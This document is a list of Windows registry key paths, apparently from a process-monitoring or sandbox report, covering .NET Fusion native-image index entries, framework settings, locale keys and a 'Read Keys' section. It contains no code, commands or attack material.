HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DllNXOptions\System.Drawing.ni.dll
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DllNXOptions\System.Windows.Forms.ni.dll
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.8.0.Microsoft.VisualBasic__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\Microsoft.VisualBasic,8.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Web__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Web,2.0.0.0,,b03f5f7f11d50a3a,x86
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Management__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Management,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Runtime.Remoting__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Runtime.Remoting,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\DbgJITDebugLaunchSetting
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\DbgManagedDebugger
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\FipsAlgorithmPolicy
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\FipsAlgorithmPolicy\Enabled
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\FipsAlgorithmPolicy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA
HKEY_CURRENT_USER\Control Panel\International
HKEY_CURRENT_USER\Control Panel\International\sYearMonth
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\4ecde57e\31d9ddbb
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\Managed\S-1-5-21-1822907384-1282624486-319450072-1000\Installer\Assemblies\C:|Windows|Microsoft.NET|Framework|v2.0.50727|RegAsm.exe.Config
HKEY_CURRENT_USER\Software\Microsoft\Installer\Assemblies\C:|Windows|Microsoft.NET|Framework|v2.0.50727|RegAsm.exe.Config
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Assemblies\C:|Windows|Microsoft.NET|Framework|v2.0.50727|RegAsm.exe.Config
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\Managed\S-1-5-21-1822907384-1282624486-319450072-1000\Installer\Assemblies\Global
HKEY_CURRENT_USER\Software\Microsoft\Installer\Assemblies\Global
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Assemblies\Global
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DllNXOptions\culture.dll
HKEY_CLASSES_ROOT\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32\(Default)
HKEY_CLASSES_ROOT\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\Server
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\Server\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DllNXOptions\diasymreader.dll
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.mscorlib.resources_it-IT_b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5e8c75c\40dcb014
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.mscorlib.resources_it_b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5e8c75c\1ffc8ca7
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\a054161\46043f61
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\219e9581\29613036
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\219e9581\26d59603
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\InstallationType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Data.SqlXml__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Data.SqlXml,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\Library
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\IsMultiInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\First Counter
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.net clr networking\Performance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\CategoryOptions
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\FileMappingSize
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\Counter Names

Read Keys

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\InstallRoot
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\CLRLoadLogDir
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\UseLegacyV2RuntimeActivationPolicyDefaultValue
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\OnlyUseLatestCLR
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Fusion\NoClientChecks
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\NET Framework Setup\NDP\v4\Full\Release
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\DisableConfigCache
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\CacheLocation
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DownloadCacheQuotaInKB
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\EnableLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LoggingLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\ForceLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogFailures
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogResourceBinds
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\FileInUseRetryAttempts
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\FileInUseMillisecondsBetweenRetries
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\UseLegacyIdentityFormat
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DisableMSIPeek
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DevOverrideEnable
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NGen\Policy\v4.0\OptimizeUsedBinaries
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\it-IT
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\it-IT
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\AltJit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\Latest
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\index21
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\LegacyPolicyTimeStamp
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Locale\00000410
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Language Groups\1
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Defaults\Provider Types\Type 024\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\GRE_Initialize\DisableMetaFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\WMR\Disable
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\FORCE_ASSEMREF_DUPCHECK
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NicPath
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\RegistryRoot
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\AssemblyPath
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\AssemblyPath2
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\SideBySide\PreferExternalManifest
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\GCStressStart
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\GCStressStartAtJit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\VersioningLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NoClientChecks
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\LatestIndex
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index126\NIUsageMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index126\ILUsageMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\mscorlib,2.0.0.0,,b77a5c561934e089,x86
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\Modules
